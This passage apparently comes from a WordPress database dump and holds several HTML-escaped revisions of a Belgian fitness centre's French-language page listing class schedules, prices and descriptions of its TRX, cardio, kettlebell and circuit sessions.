5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:49:22', '2013-07-03 16:49:22', '', 11, 'http://www.crosstrainingcenter.be/?p=176', 0, 'revision', '', 0),
(183, 1, '2013-07-03 17:18:16', '2013-07-03 17:18:16', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:18:16', '2013-07-03 17:18:16', '', 11, 'http://www.crosstrainingcenter.be/?p=183', 0, 'revision', '', 0),
(177, 1, '2013-07-03 16:53:51', '2013-07-03 16:53:51', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td 